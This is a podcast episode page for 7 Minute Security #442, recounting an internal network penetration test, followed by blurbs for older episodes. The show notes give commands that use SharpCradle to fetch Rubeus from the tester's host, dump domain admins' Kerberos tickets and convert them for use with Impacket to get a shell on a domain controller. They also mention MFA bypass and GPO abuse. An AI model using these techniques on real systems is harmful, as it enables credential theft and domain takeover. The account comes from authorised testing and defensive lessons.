7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(690)

7MS #105: OFFTOPIC-Big Bag of Random Sauce

7MS #105: OFFTOPIC-Big Bag of Random Sauce

Today's totally random episode covers: 1. How bad does this podcast's logo suck? 2. Does this podcast need a theme song? 3. Some interesting training I'm taking next week. 4. The Walking Dead - who should die? 5. Metal Gear Solid and my personal godmode strategy.

28 Loka 20159min

7MS #104: LANTurtle First Impressions

7MS #104: LANTurtle First Impressions

Hey I just got a LANTurtle and....these are my first impressions!

22 Loka 20157min

7MS #103: OFFTOPIC-I Was in a Movie Once

7MS #103: OFFTOPIC-I Was in a Movie Once

This is an off-topic episode about the time I was in the holiday comedy super-smash laugh-fest, Jingle All the Way.

20 Loka 20157min

7MS #102: Recon-ng!

7MS #102: Recon-ng!

I'm a big fan of Recon-ng and you should be too! Check it out - and learn more about Tim Tomes, its creator - at www.lanmaster53.com. And here's the video I mentioned in the podcast - my first look at Recon-ng in action: https://www.youtube.com/watch?v=vkmNTNl6urw

15 Loka 20158min

7MS #101: OFFTOPIC-I Am Chris Farley

7MS #101: OFFTOPIC-I Am Chris Farley

The new(ish) Chris Farley documentary is fantastic - see it!

14 Loka 20157min

7MS #100: Assessment Curses Can Be Blessings

7MS #100: Assessment Curses Can Be Blessings

Ever had an assessment that you thought would be the death of you? I had one recently, but after sticking it out, it turned out to be a blessing in disguise.

9 Loka 20157min

7MS #99: How to Deliver Bad News in a Good Way

7MS #99: How to Deliver Bad News in a Good Way

Today's episode gives you some tips on how to deliver bad news in an assessment in a positive way. I think that last sentence was a grammatical nightmare.

2 Loka 20158min

7MS #98: Intro to PCI Scoping

7MS #98: Intro to PCI Scoping

So far I've focused on the technical aspects of PCI, but I'm trying to get familiar with the overall scoping questions that my tenacious QSA friends ask when they start a gap analysis. This episode shares some interesting tidbits I learned while doing some QSA "shadowing" on an assessment of a restaurant.

30 Syys 20158min

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